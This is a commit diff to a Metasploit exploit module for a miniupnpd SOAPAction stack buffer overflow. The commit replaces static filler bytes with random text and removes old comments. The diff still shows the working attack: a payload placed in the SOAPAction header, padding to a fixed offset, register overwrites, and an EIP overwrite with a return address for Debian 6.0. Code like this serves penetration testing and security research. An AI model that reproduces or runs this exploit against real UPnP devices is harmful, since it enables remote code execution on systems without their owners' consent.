Deleted some undeeded comments and used the text_rand function rather than static values.

Author: dejanviris

modules/exploits/multi/upnp/miniupnpd_soap_bof.rb

@@ -9,6 +9,7 @@
 
 class Metasploit3 < Msf::Exploit::Remote
 	include Msf::Exploit::Remote::HttpClient
+  Rank = NormalRanking
 
 	def initialize(info = {})
 		super(update_info(info,
@@ -20,7 +21,6 @@ def initialize(info = {})
 				},
 			'Author'					=> [ 'Dejan Lukan' ],
 			'License'				 => MSF_LICENSE,
-			'Version'				 => '$Revision: 9999 $',
 			'DefaultOptions'	=> { 'EXITFUNC' => 'process', },
 			# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
 			# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
@@ -33,7 +33,6 @@ def initialize(info = {})
 			],
 			'Targets'				 =>
 				[
-					#['Debian GNU/Linux 4.0', { 'Ret' => 0x0804c334, 'Offset' => 2123 }],
 					['Debian GNU/Linux 6.0', { 'Ret' => 0x0804ee43, 'Offset' => 2123 }],
 				],
 			'DefaultTarget'	 => 0,
@@ -61,14 +60,13 @@ def exploit
 		sploit += payload.encoded
 
 		# nops
-		#sploit += "\x90"*(target['Offset'] - sploit.length - 16)
 		sploit += rand_text(target['Offset'] - sploit.length - 16)
 
 		# overwrite registers on stack: the values are not used, so we can overwrite them with anything
-		sploit += "\x41\x41\x41\x41"		 # overwrite EBX
-		sploit += "\x42\x42\x42\x42"		 # overwrite ESI
-		sploit += "\x43\x43\x43\x43"		 # overwrite EDI
-		sploit += "\x44\x44\x44\x44"		 # overwrite EBP
+		sploit += rand_text(4)		 # overwrite EBX
+		sploit += rand_text(4)		 # overwrite ESI
+		sploit += rand_text(4)		 # overwrite EDI
+		sploit += rand_text(4)		 # overwrite EBP
 
 		# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
 		# stack points directly to the string after 'Soapaction: ', which is why we must
@@ -104,9 +102,6 @@ def exploit
 			'uri'		 => target_uri.path,
 			'headers' => {
 				'SOAPAction' => sploit,
-				#'User-Agent' => 'Python-urllib/2.7',
-				#'Connection' => 'close',
-				#'Content-Type' => 'application/x-www-form-urlencoded',
 			},
 			'data'		=> data,
 		})